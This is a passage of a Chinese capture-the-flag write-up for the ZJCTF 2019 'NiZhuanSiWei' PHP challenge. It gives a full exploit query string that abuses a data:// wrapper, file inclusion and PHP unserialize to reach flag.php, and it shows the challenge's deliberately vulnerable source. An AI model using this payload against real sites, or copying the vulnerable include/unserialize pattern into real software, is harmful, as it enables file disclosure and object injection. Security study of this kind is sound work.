[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei 考察: php协议 data://,php:// 反序列化 完整payload:text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 首页: <?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if( isset($text) && (file_get_contents($text,'r') === "welcome to the zjctf" )){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?> file_get